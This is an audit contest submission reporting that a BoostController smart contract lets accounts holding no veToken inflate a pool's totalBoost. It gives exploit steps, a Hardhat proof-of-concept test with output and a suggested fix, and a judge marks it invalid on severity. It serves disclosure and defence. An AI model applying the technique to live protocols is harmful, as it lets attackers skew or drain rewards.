Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Malicious actors can artificially inflate the poolBoost.totalBoost by repeatedly calling updateUserBoost with multiple accounts

Summary

The BoostController contract is designed to manage boost calculations and delegations for a protocol using a Curve-style boost mechanism. However, a critical vulnerability exists in the _calculateBoost function, which allows users with no veToken balance to update their boost value. This flaw can be exploited by malicious actors to artificially inflate the poolBoost.totalBoost by repeatedly calling updateUserBoost with multiple accounts. This undermines the fairness and integrity of the protocol, as the boost mechanism is no longer tied to actual veToken holdings.

Vulnerability Details

The vulnerability lies in the _calculateBoost function, which is called by updateUserBoost to calculate the boost value for a user. Specifically, the function returns the amount directly if the user has no veToken balance (userBalance == 0):

function _calculateBoost(
address user,
address pool,
uint256 amount
) internal view returns (uint256) {
if (amount == 0) revert InvalidBoostAmount();
if (!supportedPools[pool]) revert PoolNotSupported();
// Get current weights without modifying state
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
return amount;
}
...
...

Exploit Scenario

  1. Malicious User Creates Accounts:

    • An attacker creates multiple accounts, each with no veToken balance.

  2. Call updateUserBoost:

    • Each account calls updateUserBoost with a pool address.

    • Since these accounts have no veToken balance, _calculateBoost returns the amount (e.g., 10000).

  3. Inflate poolBoost.totalBoost:

    • The poolBoost.totalBoost is updated with this amount, even though the accounts have no veToken.

    • By repeating this process, the attacker can artificially inflate poolBoost.totalBoost to an arbitrarily high value.

POC

add the following test case into BoostController.test.js

it("user with 0 veToken can still update boost value", async () => {
let Bob, Alice, Tom;
[, , , ,Bob,Alice,Tom] = await ethers.getSigners();
console.log("before calling updateUserBoost===>");
const bobBalance1 = await veToken.balanceOf(Bob.address);
const aliceBalance1 = await veToken.balanceOf(Alice.address);
const tomBalance1 = await veToken.balanceOf(Tom.address);
const poolBefore = await boostController.getPoolBoost(
mockPool.getAddress()
);
console.log("bobBalance1===>",bobBalance1);
console.log("aliceBalance1===>",aliceBalance1);
console.log("tomBalance1===>",tomBalance1);
console.log("poolBefore===>totalBoost",poolBefore.totalBoost);
await boostController.connect(Bob).updateUserBoost(Bob.address, mockPool.getAddress());
await boostController.connect(Alice).updateUserBoost(Alice.address, mockPool.getAddress());
await boostController.connect(Tom).updateUserBoost(Tom.address, mockPool.getAddress());
console.log("after calling updateUserBoost===>");
const bobBalance2 = await veToken.balanceOf(Bob.address);
const aliceBalance2 = await veToken.balanceOf(Alice.address);
const tomBalance2 = await veToken.balanceOf(Tom.address);
const poolAfter = await boostController.getPoolBoost(
mockPool.getAddress()
);
console.log("bobBalance2===>",bobBalance2);
console.log("aliceBalance2===>",aliceBalance2);
console.log("tomBalance2===>",tomBalance2);
console.log("poolAfter===>totalBoost",poolAfter.totalBoost);
});

run npx hardhat test --grep "user with 0 veToken"

BoostController
Boost Calculations
before calling updateUserBoost===>
bobBalance1===> 0n
aliceBalance1===> 0n
tomBalance1===> 0n
poolBefore===>totalBoost 0n
after calling updateUserBoost===>
bobBalance2===> 0n
aliceBalance2===> 0n
tomBalance2===> 0n
poolAfter===>totalBoost 30000n

We can see that even though the accounts have no veToken, the poolBoost.totalBoost is updated with the amount three times(10000*3).

Impact

  • Pool Manipulation:

    • The inflated totalBoost disrupts the fairness of the protocol, as it skews the distribution of rewards or other benefits tied to the boost mechanism.

  • Economic Exploitation:

    • Attackers could exploit this to gain an unfair advantage in the protocol, potentially draining rewards or other resources.

  • Protocol Integrity:

    • This undermines trust in the protocol, as the boost mechanism is no longer tied to actual veToken holdings.

The impact is High, the likelihood is High, so the severity is High.

Tools Used

Manual Review

Recommendations

To fix this vulnerability, the _calculateBoost function should not return a boost value if the user has no veToken balance. Instead, it should return 0 or revert with an error. This ensures that only users with a valid veToken balance can update their boost value.

function _calculateBoost(
address user,
address pool,
uint256 amount
) internal view returns (uint256) {
if (amount == 0) revert InvalidBoostAmount();
if (!supportedPools[pool]) revert PoolNotSupported();
// Get current weights without modifying state
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
// If the user has no veToken balance, return 0
if (userBalance == 0 || totalSupply == 0) {
return 0;
}
...
...
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.